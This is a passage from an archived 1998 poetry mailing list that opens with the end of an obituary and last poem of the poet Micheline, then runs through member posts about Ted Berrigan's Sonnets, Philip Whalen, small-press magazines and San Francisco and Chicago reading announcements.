Long after becoming a published poet, Mr. Micheline took up painting - an art at
which he made more money than
at his chosen vocation.

Charles Wehrenberg of San Francisco, a dealer in rare art objects who owns 40 or
50 Micheline paintings, said that
"he was a really phenomenal painter, but he was so involved with the whole idea
that the dead rule the world he
didn't think he'd succeed until he dropped dead."

Mr. Micheline's technique was "totally primitive" and eschewed draftsmanship. We
hrenberg said that he once
asked Mr. Micheline for a series of portraits on famous people he knew, and Mr.

Micheline retorted that "I ain't no
f- - - camera."

"His whole idea was to paint people's psyches," Wehrenberg said.

"He was a very hard-to-like character, but he had very brilliant moments. He was
absolutely adamant that he didn't
want to succeed. He wouldn't mind winning a lot of money, but he'd immediately l
ose it back on the horse races,"
Wehrenberg said. "He really is the character that Kerouac wrote about in "On the
Road.' He is Whitman's wild
child. He really did live out a poetic life."

Right, said his poet friend Cherkovski. "He was kind of wild. Even in his 60s he
was still a man of the streets. He
was saying, "I'm outside the system, I don't belong to it.' "

Mr. Micheline is survived by his son, Vincent Silver of Tucson, Ariz. Funeral se
rvices are pending.

This is Mr. Micheline's last poem, written Feb. 25, 1998, in San Francisco.

POEM

To capture the feeling

To feel its pulse

To see the stream has been muddied

I am reshaping the start

I cannot be bothered with your

Earthly pleasures

All these rantings and ravings

Have nothing to do with poetry

Have nothing to do with magic

Only the ears of butterflies

And birds

And the delicate moths

Matter.

Let the Angels in

Let them into this Market

Now

Feel, see and breathe.

↑ Index

171. Miekal And
ASLese
Wed 4 Mar 1998

Brian Clements wrote:
>
> Gwyn,
>
> The only person I know of who is doing anything with ASL poetry is Dirksen
> Bauman, who published a piece recently in the PMLA. I don't know where
> Dirksen is now, but you might be able to track him down through the
> Binghamton English Dept.
>
> Brian

brian: what makes his work asl? are you saying that the texts he writes use asl grammar & syntax or that he gives "readings" using asl?

miekal

↑ Index

172. TBeck131
meow
Wed 4 Mar 1998

I like DB's idea of discussing Meow Press books. Especially since I've only seen one of them (Silliman's XING). Actually, I thought I'd worked out a swap for a couple of them but I may not be remembering correctly. In any event, it would be nice to switch gears and talk about some specific books. Why is it when I see WWW I immediately think of Hulk Hogan. As ever, Tom B.

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173. **Jacques Debrot**
Re: Query: Catriona Strang
Wed 4 Mar 1998

Does anyone have the s-, &/or e-mail address for Catriona Strang? If so, please back-channel. Thanks in advance.
--Jacques

↑ Index

174. **henry gould**
berrigan
Wed 4 Mar 1998

Seems to me one of the key things about Berrigan which he picked up on and which has been picked up on in turn from him by many many "NY School" poets is the fusion of formality & informality, of art & grunge - so that they find sort of a lyrical balance and an integration of beauty & everyday unofficial (& mostly moneyless & prestigeless) life.

This can only happen when there is an intense awareness & understanding of art in all its arty grandeur coupled with an intellectual freedom & scepticism about same coupled with a devotion to it which is natural & not simply willed or calculated.

& it could probably only happen in New York at a certain time when art, power & grunge competed on a level playing field. "The Sonnets" are art sonnets & improvised performance pieces combined.

Grunge is probably the wrong term for everyday living in a devoted bohemian (poor) way. & Berrigan sometimes seems self-indulgent, too obviously performing that life. But that's a view from far outside. (we don't have grunge in Rhode Island. we have coffee milk.)

just a few berrigan thoughts very calculatedly & stupidly self-centeredly designed to remind readers that my own sonnet thing ISLAND ROAD at Mudlark is designed as a reply to Berrigan, Berryman & Shakespeare combined, with #4 Homage to Falstaff especially aimed at Berrigan. - Henry Gould

↑ Index

175. **Brian Clements**
Re: newtek & po
Wed 4 Mar 1998

Gwyn,

The only person I know of who is doing anything with ASL poetry is Dirksen Bauman, who published a piece recently in the PMLA. I don't know where Dirksen is now, but you might be able to track him down through the Binghamton English Dept.

Brian

~~~~~~

On Tue, 3 Mar 1998, Gwyn McVay wrote:

> *New media. Old media. Books superior. Web a class issue. Okay, fine. What I'd like to see happen is a CD-ROM anthology of American Sign Language poetry--which is out there, and must, by its nature, have a unique poetic, but doesn't get, for lack of a better word, "heard" through the usual channels. Maybe a CD ASL po-zine from Gallaudet?*
>
> *Then, to make it really interesting, they could play the video clips of poems to ASL-literate apes and get their response. ("You call this poetry? If I had the time, I could write /Hamlet/....")*
>
> *Gw(seriously)yn*

↑ Index

176. **Tim Wood**

Re: Looking for input on talk

Wed 4 Mar 1998

> *Boogie. The name itself should have been a giveaway, as the contents surely were, which didn't stop someone from sending me an incredibly mannered 75 page manuscript in heroic couplets.*

I've noticed the same thing. One publications that I'm involved in is a general circulation monthly on the arts that can only afford to do eight pages a month. After an interview an article a review the calendar, there's enough space for about two (raw) pages of poetry. That's never stopped anyone from sending poems of 10 or more pages. Hmmm...

More thoughts like these would definately help. Nothing like stories from the horse's mouth to make a point. It might be fun to assemble them (perhaps dropping the names...) into a little chapbook with a list of resources & such. "Your first guide to the world of journals" or "The Dummies book of poetry publishing". <grin>.

Beyond more thoughts like these, could any of you make suggestions on resources (either print or online) that would help either periodical publishers or poets in seek of publiation 'glory'. I've got my own feelings about SASEs &
~~~~~~

such. What do others think of them, or of using say a postcard instead? Have any you found any unusual ways to publicize your periodicals or that help you locate places to 'place' your poetry. And on and on. I'm looking for any remotely relevant thoughts. I've got experience and a high dose of opinion in regards to publishing, but I'd rather speak from more than just my little bit of ego.

thanks,
Tim

_____ Tim Wood
[redacted]

poetry is the shock of insight's drive-by

↑ Index

177. Gwyn McVay
Re: Looking for input on talk
Wed 4 Mar 1998

Pet peeve: unannounced theme issues whose themes are decided beforehand by editorial fiat, not evolving as a result of incoming material, which latter I've been guilty of doing myself. But I've submitted places and had work sent back with no explanation, only to find that they had been planning a theme issue on Jewish writers, whom I admire jointly and severally but can't claim to be, personally.

g. oyisch

On Tue, 3 Mar 1998, Tim Wood wrote:

> *I've been asked to give a talk this summer to help poets try to understand what publishers are looking for, etc. I'm planning to push it a little bit and, where appropriate, talk from the opposite view point: how publishers (primarily those of periodicals such as journals) can do a better job of communicating to potential submitters. I would love any suggestions any of you might have on points, nits & grand schemes to make sure I hit.*
>
> *thanks,*
> *Tim*
>
> _____
> *Tim Wood* [redacted]
>
> *poetry is the shock of insight's drive-by*

↑ Index

178. Gary Sullivan
The Sonnets
Wed 4 Mar 1998

Hi, Erik:

You can get a copy of the Grove Press edition of _The Sonnets_ (1964) from Pomander Books for $30.00. A lot of money, maybe, but not bad for this, considering (a) I've seen it selling for $125.00 and (b) it has a very high Groove Factor (like, 8 or 9). Contact Pomander at:

[redacted]

I think Berrigan took as much, maybe more, from Philip Whalen. I also think what he took from Whalen was ultimately more interesting than what he took from O'Hara. All three are amazing poets.

Yours,

Gary Sullivan
[redacted]

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179. Dale M Smith
blah blah blah etc...
Wed 4 Mar 1998

I don't know if Berrigan's really considered "some kid brother to O'Hara" by every one here. I think that his Sonnets are also going to be republished soon, so there must be some interest out there. In a lot of ways he was his own thing, you know. Very funny and playful with language in ways quite different from O'Hara. Send me $5 and I'll send issue 8 of my magazine, with two previously unpublished collaborations between him and T. Clark.

To: [redacted]

I recently asked you all why some poets like Ted Berrigan are ignored by the "academy" and no-one was interested enough to reply about how they see Berrigan's work, well I guess you all are too busy talking about the WWW!, I suppose the academy of the future is closing its doors to argue about publishing on the web? If anyone wants a break, write to me and explain why some critics call Berrigan an "ardent disciple" and like some kid brother to Frank O' Hara. An imitator. His writings mean alot to me, and I would like some discussion on the matter.

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180. Miekal And
Re: it's poetry it's poetry not...
Wed 4 Mar 1998

Joe Amato/Kass Fleisher wrote:

may entertain multiple threads...

Miekal And wrote:

echo me

↑ Index

181. Mark Prejsnar
Re: meow (..chats actuels)
Wed 4 Mar 1998

On Wed, 4 Mar 1998, TBeck131 wrote:

> *would be nice to switch gears and talk about some specific books. Why is it when I see WWW I immediately think of Hulk Hogan.*
> *As ever,*
> *Tom B.*

I'll mention briefly a specific magazine. Yesterday I received Raddle Moon 16, which conists of works by "Twenty-two new (to North America) French writers..." On one skim, it's incredibly exciting stuff, and folks should be sure to see it. The list of translators reads like a who's-who of the the interesting poets who are on this list or discussed here. I've never heard of any of the french poets, which isn't too surprising, but is also an exciting aspect of it. So far I've gotten thru the first selection, "Heros Are Heros Are," by Manual Joseph trans. Susan Gevirtz: pretty timely "gulf war" poem that reminds me a little of Spahr's superb use of bureacratic deformations as a looped political poetic style in her book Response; and "On my Desk," by Sabine Macher trans. Dodie B.: uses ways of playing with writing that I'd done years ago and forgotten about: how consciousness and words can hit and ricochet off specific physical objects, and gain some really interesting torques, a kind of spare approach to the-lyric-as-still-life. Very nice clipped rendering into amerenglish..

The next 20 sections look just as sharp....

Mark P.
@lanta

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182. **henry**
Re: The Sonnets
Wed 4 Mar 1998

On Wed, 4 Mar 1998 09:30:38 -0500 Gary Sullivan said:
>
>I think Berrigan took as much, maybe more, from Philip Whalen. I also think
>what he took from Whalen was ultimately more interesting than what he took from
>O'Hara. All three are amazing poets.

Gary, do you think you could expand on the Whalen connection a little? That's interesting to me. - Henry the horse

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183. **Joel Kuszai**
Re: reznikoff's girder/get out of jail "free"
Wed 4 Mar 1998

David Bromige! how good to hear from you. The reading today is Sherley Anne Williams - who is a fiction writer. I don't believe in poetry readings. on that note, I did manage to get word to Patrick Stewart that I needed him to "read" (record) my poem "A Miscellany" which is culled from 1,000 pages of Elizabethan-era lyrics. When told that he was going to have to do this, his brow grew deep with trenches, and the messenger relaying this shrunk back. Mr. Stewart then told my friend the messenger to send the work to his studio in LA. So...we'll see. I've got my fingers crossed that what John Cage once said of Mac Low's play "The Marrying Maiden" won't also be true of my poem: "Unless you do something to regulate delivery, they'll read their lines like Shakespeare" (that's a paraphrase from memory).

back to the rubble.

my sense of the girdle still itself among the rabble is that without recognition the girdle would still be rabble. It is the raising up of the girdle that gives it it its special halo. "I wanna be your halo"

Today the girder tomorrow the I-beam. or is an I beam a girder? any construction workers out there? or more appropriate: anyone own a construction company out there? I feel that there is a definate lack of construction talk here on poetics.

on a more serious note, I have been meaning to ask this of poetics for some time as my queries elsewhere have met up with a dead end. Perhaps this won't bear any fruit, but there's hoping. I would like to find a source (archival or attic-style) of the following:

1. prison literature. Specifically, I'd like to find a copy of "Iced Pig" the magazine "published" by Sam Melville in the months immediately before the Attica uprising. But I'm interested in other 60s/early70s era prison publications, although I realize that it might be a stretch to find extant copie of such. The University of Michigan's Labadie Collection, which has one of the best collections of civil liberties and civil rights material in the usa, don't any such material, although they do collect some material related to that, such as gay-rights prison literature.

2. I'm also trying to find a source for literature relating to the conscientious objector movement. David Dellinger published "Pacifica Views" which Mac Low I believe wrote a review for in the 1940s. Many of these people were held long after the war, some were literally arrested immediately upon being released (for not having their draft cards), which is a kind of double jeopardy, it seems to me. I have a copy of "Prison Etiquitte" which was published by Retort Press around that time--hand printed on paper donated by James Laughlin. This is a rare book that I found in a bookstore in Detroit last summer. "The Field of Broken Stones" is another book published at that time. A memoir of Lowell Naeve, a CO who was imprisoned at Danbury Fed Corr facility and rearrested. He was an artist who would "wash off" old time magazines, literally making white paper out of the magazines, thereby creating a sketch pad for himself. Field of Broken Stones was co-written by David Wieck, a philosophy professor at Rennselaer Polytech in Troy NY, who just died this past year after a long bout with Alzheimers. Wieck was an old co editor of one of the magainzes that Mac Low worked on in the 40s,early 50s. What I'm looking for (as field of broken stons was reprinted by Alan Swallow and shouldn't be that hard to find) what I'm really looking for are "newsletters" edited and printed at the CPS (civilian public service) camps--like Pacifica Views, but more fugitive and underground. PV was fairly well established and is archived many places. Greenwood even did a reprint I believe. Especially I'm looking for material from the Germfask Michigan Camp, were the troublemakers were sent in a kind of american style concentration camp. Most of the work camps were administered by the Friends, the brothers, and the sisters, if you know what I mean. Germfask, despite the shocking conditions, was still able to produce some kind of newsletter. No one I've talked to has seeen a copy although I've read of them. perhaps this isn't the place to ask.

please back channel with advice,

jail bird

On Tue, 3 Mar 1998, david bromige wrote:

> *has always bugged me. "Still itself amid the rubble." Heck, the girder's rubble, too. Howcum girder specified, here, rubble unspecified, there?*

> *break a leg tomorrow, if thats when you read, Joel. The box of books from Meow arrived, what a breathtaking collection and congratulations, again, on your endeavor! We should be talking about Berrigan (Ted) but we should also be talking about these Meow Press books. I will (must go eat right now, though). db3*

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184. MAXINE CHERNOFF
Looking for Address
Wed 4 Mar 1998

Could someone back-channel me Gian Lombardo's e-mail address or snail mail address?

Thanks,

Maxine Chernoff

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185. MAYHEW
Berrigan
Wed 4 Mar 1998

The Berrigan thread is welcome, since I subscribed to list in the first place for conversation about poetry and poetics. One of the sonnets, which is not a sonnet, is an imitation of FO'H "I do this I do that" mode, which mislead me at one point into thinking that Berrigan was a mere imitator of O'Hara. Since this poem doesn't really capture O'Hara's mode at all, I thought he was a rather poor imitator, in fact. But this is a poor poem by which to judge Berrigan. There are some interesting poems in one of the early issues of Talisman, from the "500 Postcards" or something like that.

The whole 2nd generation New York school needs a 2nd look. How about Ron Padgett? Ceravolo? Tony Towle?

Ch. Bernstein's essay on Berrigan in Content's Dream is very interesting because it argues for a non-biographical reading. Any thoughts on this?

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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186. MAXINE CHERNOFF
Re: The Sonnets
Wed 4 Mar 1998

I'd agree with Gary Sullivan's analysis but also include Anselm Hollo, whose lyric beauty and casualness seem to work in the same way as Berrigan's, Whalen's, and O'Hara's.

Maxine Chernoff

On Wed, 4 Mar 1998, Gary Sullivan wrote:

> *Hi, Erik:*
>
> *You can get a copy of the Grove Press edition of _The Sonnets_ (1964) from Pomander Books for $30.00. A lot of money, maybe, but not bad for this, considering (a) I've seen it selling for $125.00 and (b) it has a very high Groove Factor (like, 8 or 9). Contact Pomander at:*
>
> [redacted]
>
> *I think Berrigan took as much, maybe more, from Philip Whalen. I also think what he took from Whalen was ultimately more interesting than what he took from O'Hara. All three are amazing poets.*
>
> *Yours,*
>
> *Gary Sullivan*
> [redacted]

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187. dbkk
Tripwire
Wed 4 Mar 1998

Hi everyone it's Kevin Killian . . . I wanted to add my 25 cents and recommend the new poetics journal "Tripwire" (very mindful that the "old" Poetics Journal is coming to an end soon with its final issue). . . . Living here in San Francisco I have long suspected there was a new generation of poets with ideas and formulations very different than my own, and "Tripwire" is now my handbook, as an anthropologist would have his handbook . . . It's quite wonderfully edited, by Morrison and Buuck, always something interesting on almost every page, especially the theoretical and critical work. And many of the writers are new to me--yes, there is a foregrounding of the "new,"--with Myung Mi Kim presiding over the "new" in this vatic, patient way. Anyhow it's well worth six dollars, I say, go for it. Schultz' essay about the difficulties of being a working-class avant-garde

writer is the finest I've ever read on the topic. Robert Hale's and David Bucck's essays are also very fine on the exhaustion of the approach to a degree zero of writing--Many of these young people seem to have embarked on some kind of writing degree that presents itself, in "Tripwire," as a kind of grail of disgust. "Writing degree" = "zero"? Sherry Brennan's overview of some recent books of poetry is good also, very intriguing---though I wonder, given the fact that there are so many good poets today, yet so few books published, that another review of Some Other Kind of Mission, In Memory of My Theories, Imagination Verses, Metropolis and Response--won't throw their authors into some kind of canon from which it would be difficult to unseat oneself--They are so young and already they (and Myung Mi Kim) are the gods of "Tripwire" . . . it's interesting.

--- ---

tripwire is a new poetics journal edited by Yedda Morrison & David Buuck. Issue one is aprox. 150 pages, including an interview with Myung Mi Kim, and work by Noah de Lissovoy, Eleni Sikelianos, Kathy Lou Schultz, Rodrigo Toscano, Sarah Anne Cox, Eliazabeth Robinson, Tan Lin, Jocelyn Saidenberg & Brian Strang, Robert Hale, Tim Davis, Elizabeth Treadwell, Sarah Rosenthal, Dana Lomax, Thiagarajah Selvanithy, Sherry Brennan, Mark Wallace, and others. It includes essays, "work," artwork, reviews, and more.

$6 for one issue / $10 for two --- Published biannually

tripwire
c/o Morrison & Buuck
722 Shotwell #4
SF CA 94110

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188. **David Zauhar**

Early Warning: Mackey in Chicago

Wed 4 Mar 1998

The distinguished poet, novelist and critic Nathaniel Mackey will visit UIC on April 15 and 16. Here is his schedule

"A Reading of Poetry and Prose."
April 15th, 3:00, African-American Cultural Center, 2nd Floor, Adams Hall

"On the Influence of H.D. on My Poetry."
April 16th, 11:00 a.m., Humanities Institute, Basement, Stevenson Hall

Both events are free and open to the public.

the University of Illinois at Chicago is not the easiest place to find your way around, and these aren't the most convenient of times for those who lead non-academic lives, but it'll be worth it if you can make it. Mark your calander now.

Nathaniel Mackey's visit to UIC is sponsored and supported by the Department of African-American Studies, the African-American Cultural Center, the Institute for the Humanities, the Department of English, the Office of Access and Equity, the Department of Performing Arts, and the Student Activities Funding Committee.

For further information contact [redacted] or...

James C. Hall
Asst. Professor of African-American Studies and English
University of Illinois at Chicago
601 S. Morgan St.
Chicago, IL 60607-7112
[redacted]

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189. **Jacques Debrot**

Re: The Sonnets

Wed 4 Mar 1998

Certainly Burrough's cut-ups would have been another big influence. And what about "Europe" written in Paris at almost exactly the same time that Burroughs & Gysin were doing their collaborations there? According to Padgett, as late as 1960, Berrigan thought that "Europe" was based on _The Golden Bough_. So he makes the leap, somehow, from "The Wasteland to _The Tennis Court Oath_, from high modernism to postmodernism, in only a year or so. (Query: did "Europe" first appear in the limited edition book _The Poems_?)

Gary, I wish you'd say more about the Whalen connection. Ron Silliman briefly mentioned in a recent post that Whalen was also a formative influence for Coolidge's poetry. I've heard this before somewhere, but don't really see it; perhaps someone could spell this out as well.

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190. **ScoutEW**
Re: berrigan/grunge
Wed 4 Mar 1998

Grunge was first introduced into the American vocabulary via Mark Arm from the band Mudhoney talking to Everett True a writer for the English mag Melody Maker in 1988, I would never equated the word grunge to Berrigan.

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191. **ScoutEW**
Re: The Sonnets/thanks!!!
Wed 4 Mar 1998

Thanky you very much Gary for the info on the Sonnets, you are just so kind to tell me, I've been looking for a personal copy for awhile, mine is from the library here, yes, I remember reading Berrigan write that he liked Whalen when he went to the Berkeley poetry conference because he kept a distance from the grandstannding that was going on and was very friendly. Thanks again!!!

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192. **k. lederer**
Re: blah blah blah etc...
Wed 4 Mar 1998

I was told by one of my teachers upon asking this very question--

That he was not particularly archetypal--

"Where Plath has been translated into many languages--Berrigan somehow doesn't seem to strike the same kind of chord"--

This is one pretty "academic" response--

I personally think that Berrigan simply hasn't been pushed--he doesn't yet have a collected (but I'm sure that will come along soon enough--), and although he has passed away--he is still implicated in a lot of contemporary poetic politics--he is still associated with a "camp" of living writers--in the long run, perhaps--yes--like O'Hara (who isn't particularly "archetypal" either....) he will, it seems to me, become more "important"--

He is certainly an influence among younger writers--and, like Spicer and Duncan and Loy--he will probably get "bigger" when those who have been influenced by him get "bigger"--

Best,
Katy

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193. **TBeck131**
Jack Hirschman
Wed 4 Mar 1998

Ron's mention of Hirschman provokes some memories. In the late 1970s I published a small chapbook by Jack called DOVE ROSE under the Viscerally Press imprint. (Side note: the cover art was by Hirschman's pal, the actor, Dean Stockwell.) I don't think I even have a copy of the book any more.

Jack's an interesting figure: translator (see, for example, his work on Artaud), Marxist and street poet with a surrealist flavor. A warm and generous personality.

Tom Beckett

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194. **Safdie Joseph**
Re: berrigan, others
Wed 4 Mar 1998

Just wanted to jump in to say Henry's quick take on Berrigan and a few others, to wit

> the fusion of formality & informality, of art & grunge - so that
> they find sort of a lyrical balance and an integration of beauty &
> everyday unofficial (& mostly moneyless & prestigeless) life.
>
> This can only happen when there is an intense awareness & understanding
> of art in all its arty grandeur coupled with an intellectual freedom
> & scepticism about same coupled with a devotion to it which is natural
> & not simply willed or calculated.
>

strikes me as absolutely right-on, evoking for me the "organicism" discussed by Don Byrd some weeks ago. I'd also like to thank Ron for forwarding that epitaph of Jack, with whom I read once upon a time in the early 80s in North Beach and who was everything his pals said he was. Jack Hirschman, by the way, is alive and well (and healthy!) still with Sarah M. at last check, still an unregenerate commie propagandist. Good to see some things don't change!

An announcement that Joanne Kyger is traveling north from Bolinas to read this Friday night, March 6th, at 8:00 in Auburn (south of Seattle). The place is called SPLAB, and I'll find the address if anyone needs it.

Could someone please backchannel me to explain the command to get the full list of Poetics folks with their e-mails? I'm sure it's somewhere in the Welcome Message which I've temporarily mislaid -- thanks in advance!

Joe

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195. **Jacques Debrot**
Re: _Raddle Moon_
Wed 4 Mar 1998

Mark is dead-on, the most recent issue of _RM_ is inspiring, exciting, etc., etc. There are some interesting resemblances to work being done in the States -- eg. Christophe Tarkos' use of bracketed passages is a lot like Juliana Spahr's in "documentary," and "responding." Also, there are, in many of the poems (Tarkos', Prouvost's), provocative and varied uses of repetition. I thought, too, that the xeroxes by Guetat-Livani are at least a step beyond a lot of the stuff one generally sees in the vispo mags.

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196. **dbkk**
Saidenberg, Mullen, Nielsen at SPT
Wed 4 Mar 1998

This weekend at Small Press Traffic--a reading AND a talk!

Friday, March 6, 7:30 p.m.

A poetry reading by

Harryette Mullen
Jocelyn Saidenberg

Harryette Mullen has written three books of poetry, _Trimmings, S*PeRM**K*T_, and _Muse & Drudge_. Nina Wiener wrote in _Buzz Weekly_, ³The exceptional quality of her jazz-inspired poems leads us to imagine her the literary offspring of Gertrude Stein and Langston Hughes--a delightfully lethal combination.² There are few other poets in the USA with Mullen¹s craft and verve, and out of all of these, she¹s the smartest and nicest. Those of you who have never seen La Mullen read will come to this show and get persuaded. Join the crowd!

Jocelyn Saidenberg is one of the brightest stars to emerge from the San Francisco State University Creative Writing department in recent years. She has published in _Arshile, B-City, Stilts, 14 Hills_, and with bated breath I await for her first book--_Mortal City_--to appear next year from Parentheses Writing

Series, and for the anthology _Tense Present_ which will feature another grand helping of her work. Saidenberg¹s poetry is formally rigorous and quite a challenge, yet underneath its coat of _protective ice_ a warm heart beats and gives it power and endurance. She¹s the Ekaterina Gordeeva of poetry.

New College Theater
777 Valencia Street, San Francisco
$5

Saturday, March 7, 7:30 p.m.

Black Chant: Expanding the African-American ŒCanon¹

talks and discussion by

Harryette Mullen and Aldon Nielsen

Harryette Mullen is an associate professor of literature at the University of California, Los Angeles. She has published and lectured extensively on African American writing, on topics ranging from slave narratives to folk traditions to the avant garde. She is the author of _Freeing the Soul: Literacy and Liberty in Slave Narratives_, and the recipient of numerous fellowships, including a Rockefeller Fellowship from the Susan B. Anthony Center for Women¹s Studies at the University of Rochester.

Aldon Nielsen holds the Fletcher Jones Chair of Literature and Writing at Loyola Marymount University. His works include _Reading Race: White American Poets and the Racial Discourse in the 20th Century; C.L.R. James: A Critical Introduction; Writing Between the Lines: Race and Intertextuality;_ and _Black Chant: Languages of African-American Postmodernism._ He is the recipient of grants from the National Endowment for the Humanities and the Kayden Award for Criticism.

New College Cultural Center
766 Valencia Street, San Francisco
Free

(This talk is sponsored by the California Council for the Humanities.)

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197. **henry gould**
Re: berrigan/grunge
Wed 4 Mar 1998

> *Grunge was first introduced into the American vocabulary via Mark Arm from the band Mudhoney talking to Everett True a writer for the English mag Melody Maker in 1988, I would never equated the word grunge to Berrigan.*

I wouldn't either if I was writing a dissertation. "Things to do in Providence" has a grunge feel. I'm using grunge as opposed to beat. I think grunge was invented in Minneapolis. Now we're really getting somewhere.

all I mean is the "byt" (russian term for the everydayness of life, the intimate ordinary, the grungy this that & the otherness of life. that's all I mean. & I'm not saying Berrigan was a grunge poet. I'm saying he pointed up - balanced - juxtaposed - blended - art-sense & everydayness. the demotic & the sublime. a new way at an old way. & I don't mean to hammer away at this fairly obvious aspect, let's get down to some details - but I just dont' want this misunderstood. He was an "urban poet" in that the feel of the environment of the writing is urban & seeps into the poems feel, rhythm, idiom, viewpoint. there is nothing programmatic or strategic in a literary sense on an obvious level about that, except the lyric "beauty" is grounded in that environment which is a feel & is a kind of suffering & grunge. - Henry G.

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198. Joe Amato/Kass Fleisher

it's poetry it's poetry not...

Wed 4 Mar 1998

---

not to be cranky, but i don't quite see how talking about A poet or A poem or Poets or Poems or or or is the proper (if that's what it is) or more desirable (if that's what it is) subject matter for a list such as this... which, as has been observed time and again over the years, may entertain multiple threads...

so those of you who indicate something similar (i can take a hint): please go right ahead with Poems and Poets and such, if that's what moves you---i'm all ears, i try NEVER to delete, and will occasionally chime in... but no need to wring one's hands over a group within a group of folks talking distribution/publication/medium/poetix, as these relate (or don't) to Poets and Poems...

so there...

yrs, virtually///

joe

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199. John Latta

For Joel K.

Wed 4 Mar 1998

Joel,

I deleted your query before getting curious re: Germfask Newsletter. Fumbling around in OCLC learnt me this: two libraries show holdings: Swarthmore College Peace Collection and the Mennonite Historical Library in Goshen, Indiana.

Sitting here in Michigan, and knew nothing about Germfask.

Sorry to hafta send this listward.

John Latta

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200. **MAYHEW**
Late Ashbery
Wed 4 Mar 1998

Dear fellow poeticians:

Speaking of internet publications, you can check out my poem "Late Ashbery" at www.ellavon.com (also my "History of Modern Poetry" which I posted on this list a while back). There is also a column there by J. Conte.

Anyone interested in collaborating on pantoums with me may backchannel (a word I only learned a few months ago [backchannel not pantoum[). Sense of humor required.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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201. **ScoutEW**
Re: Berrigan
Wed 4 Mar 1998

Jonathon, yes, Berrigan even admits at one point that he emulated the mode with which O'Hara wrote poems. His "It is 5:15 in ny" and so and so is all part of his process in the poems. Berrigan takes lines from here and there and either borrows them via collage into his work or sometimes takes a whole poem by a poet like John Ashbery and writes between the lines, then finally putting the poem together it is a response to the poem by Ashbery! I find this really interesting the way he plays off of things, even in the Sonnets he borrows lines from other poets and puts it all together in a new way. As far as the O' Hara comparison goes, I felt that the critic who called him a disciple, (i am not going to name names because it is not important plus I respect the rest of her work, and like

what she does as a critic) was merely trying to find a place for him, as most critics do, Where does he fit in, o well, I'll put him next to O'Hara because it is easy. -What is not so easy is going back to the text, Sonnets, Bean Spasms, etc and finding where he "borrowed" some lines from, or should I say was inspired to add to his poems-He once said he put a lot of references into the sonnets so scholars would look at his poems for years to come. I love Bernstein's take on Berrigan in Content's dream, he even adds Berrigan into a line from "Dark City" in the poem, "The lives of the toll takers" which is incredible, he says something about Ted "bowl over" Berrigan and his "short stabs" poems from 1968, its great Well, thanks for your addition to this discussion, it made my day better, next we must talk about Ron Padgett and his great book of pomes "Tulsa Kid"!

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202. **Gary Sullivan**

Re: The Sonnets

Wed 4 Mar 1998

Hi Henry, Maxine, Jacques & Erik:

No books here at work today, so Whalen/Berrigan will have to wait until tomorrow or Friday, so I can quote a few things. Erik, if you really want that copy, e-mail Pomander's pronto--I think they only have one. Do you have a copy of Whalen's _On Bear's Head_? I think you'd probably love it. It's been out of print, like, "forever." You can find used paperback copies every now & then, but if you can't wait, you can get a hardback copy for $25 from Second Life Books in Lanesborough, MA. If interested, e-mail them at:

[redacted]

It's a great book. Also (& cheaper), _Heavy Breathing_, a "collected" of later books, for $7.50, from Powell's Books in Portland, OR. I don't know what their e-mail is, but you can order from them on-line by going to their website:

www.powells.com

Yes, Maxine, definitely Hollo, too. Missed his reading here last Saturday, but saw him in Minneapolis maybe two years ago; he read a few sonnets from a recent series, dedicated to Berrigan. My favorites among his work (read that day, anyway) were his translations from the Greek Anthology.

Soon,

Gary Sullivan

[redacted]

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203. Judy Roitman
Re: berrigan, others
Wed 4 Mar 1998

> *Could someone please backchannel me to explain the command to get the full list of Poetics folks with their e-mails? I'm sure it's somewhere in the Welcome Message which I've temporarily mislaid -- thanks in advance!*
>
> *Joe*

Me too!

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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204. Elizabeth Hatmaker
*Re: _Raddle Moon_*
Wed 4 Mar 1998

How does one get a hold of a copy of Raddle Moon?

--Elizabeth Hatmaker

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205. Jordan Davis
All Things Considered / New York Public Library
Wed 4 Mar 1998

True, they're not the Poetics List...

Ron Padgett will be on All Things Considered this afternoon, talking about "From A Secret Location on the Lower East Side: Adventures in Writing 1960-1980". Tune in, turn on...

Those of you interested in talking about the so-called generations of the New York School ought to come see the show, which features poetry magazines from The Black Mountain Review all the way through L=A=N=G=U=A=G=E.

Bye!
Jordan

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206. **MAXINE CHERNOFF**

Re: Early Warning: Mackey in Chicago

Wed 4 Mar 1998

In addition to Mackey's readings at UIC, he is also reading in the series Paul Hoover curates at Columbia College. His reading there will take place at 3 p.m. on April 16 in the Ferguson Theater, 600 South Michigan, where he will be introduced by Art Lange, his collaborator on the Coffee House jazz anthology, Moment's Notice. The reading is free and open to the public.

Maxine Chernoff

On Wed, 4 Mar 1998, David Zauhar wrote:

> *The distinguished poet, novelist and critic Nathaniel Mackey will visit UIC on April 15 and 16. Here is his schedule*
>
> *"A Reading of Poetry and Prose."*
> *April 15th, 3:00, African-American Cultural Center, 2nd Floor, Adams Hall*
>
> *"On the Influence of H.D. on My Poetry."*
> *April 16th, 11:00 a.m., Humanities Institute, Basement, Stevenson Hall*
>
> *Both events are free and open to the public.*
>
> *the University of Illinois at Chicago is not the easiest place to find your way around, and these aren't the most convenient of times for those who lead non-academic lives, but it'll be worth it if you can make it. Mark your calander now.*
>
> *Nathaniel Mackey's visit to UIC is sponsored and supported by the Department of African-American Studies, the African-American Cultural Center, the Institute for the Humanities, the Department of English, the Office of Access and Equity, the Department of Performing Arts, and the Student Activities Funding Committee.*
>
> *For further information contact* [redacted] *or...*
>
> *James C. Hall*
> *Asst. Professor of African-American Studies and English*
> *University of Illinois at Chicago*
> *601 S. Morgan St.*
> *Chicago, IL 60607-7112*
> [redacted]
> [redacted]

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207. Michael J. Kelleher
Re: long wet kisses and technophilia
Wed 4 Mar 1998

Martin,

I don't know the greek for irony either.

Atopia is a non-community of men and women who share their language, masks & placelessness, with each other that they may communicate their (un)common ideas and help others to communicate theirs. The only requirement for membership in Atopia is a desire to communicate. There are some dues and fees for access to Atopia, but hey, that's life. We are self-sustaining through our placeless contributions. Atopia is allied with many sects, denominations, politics and oganizations; Atopia does at times wish to engage in communication; Atopia endorses and opposes many causes. Our primary purpose is to communicate at great distances with those we would have never met had Atopia not come into being.

To paraphrase Billy Joel: "I'm in a placeless state of mind."

Atopia, be (t)here.

Truly (sincere),

Mike

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208. Jordan Davis
